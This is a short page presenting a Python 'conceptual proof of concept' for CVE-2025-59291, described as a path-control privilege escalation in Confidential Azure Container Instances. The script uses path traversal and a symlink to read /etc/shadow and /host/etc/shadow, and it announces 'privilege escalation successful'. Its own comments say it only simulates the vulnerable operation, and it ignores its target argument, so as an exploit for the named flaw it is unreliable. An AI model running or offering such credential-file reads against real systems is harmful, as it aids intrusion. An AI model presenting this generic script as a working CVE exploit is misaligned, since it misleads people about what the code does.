CVE-2025-59291：Azure容器实例路径控制权限提升漏洞

# CVE-2025-59291 PoC - Conceptual Proof of Concept # Vulnerability: External Control of File Name or Path in Confidential Azure Container Instances # Type: Privilege Escalation via Path Manipulation (CWE-73) import os import subprocess def exploit_path_traversal(target_path): """ Exploit external control of file name or path to escalate privileges in Confidential Azure Container Instances. """ # Step 1: Craft a malicious path with traversal sequences # The vulnerable component fails to sanitize path inputs malicious_path = "/var/lib/container/../../../etc/shadow" # Step 2: Attempt to read/write to protected resources # using the externally controlled path try: # Simulate the vulnerable file operation # In real scenario, this would be through ACI's internal APIs result = subprocess.run( ["cat", malicious_path], capture_output=True, text=True, timeout=5 ) if result.returncode == 0: print(f"[+] Successfully accessed: {malicious_path}") print(f"[+] Content: {result.stdout[:200]}") return True except Exception as e: print(f"[-] Direct traversal failed: {e}") return False def exploit_symlink_attack(): """ Alternative exploitation via symbolic link manipulation """ # Create a symlink pointing to sensitive host files symlink_path = "/tmp/container_data/sensitive_link" target = "/host/etc/shadow" try: os.symlink(target, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target}") # Access through the symlink to bypass restrictions with open(symlink_path, 'r') as f: content = f.read() print(f"[+] Accessed sensitive data via symlink") return True except Exception as e: print(f"[-] Symlink attack failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-59291 PoC") print("[*] Target: Confidential Azure Container Instances") print("[*] Requires: High privileges within container (PR:H)") print("-" * 50) # Attempt path traversal exploitation if exploit_path_traversal("/etc/shadow"): print("[+] Privilege escalation successful via path traversal!") # Attempt symlink-based exploitation elif exploit_symlink_attack(): print("[+] Privilege escalation successful via symlink attack!") else: print("[-] Exploitation attempts completed")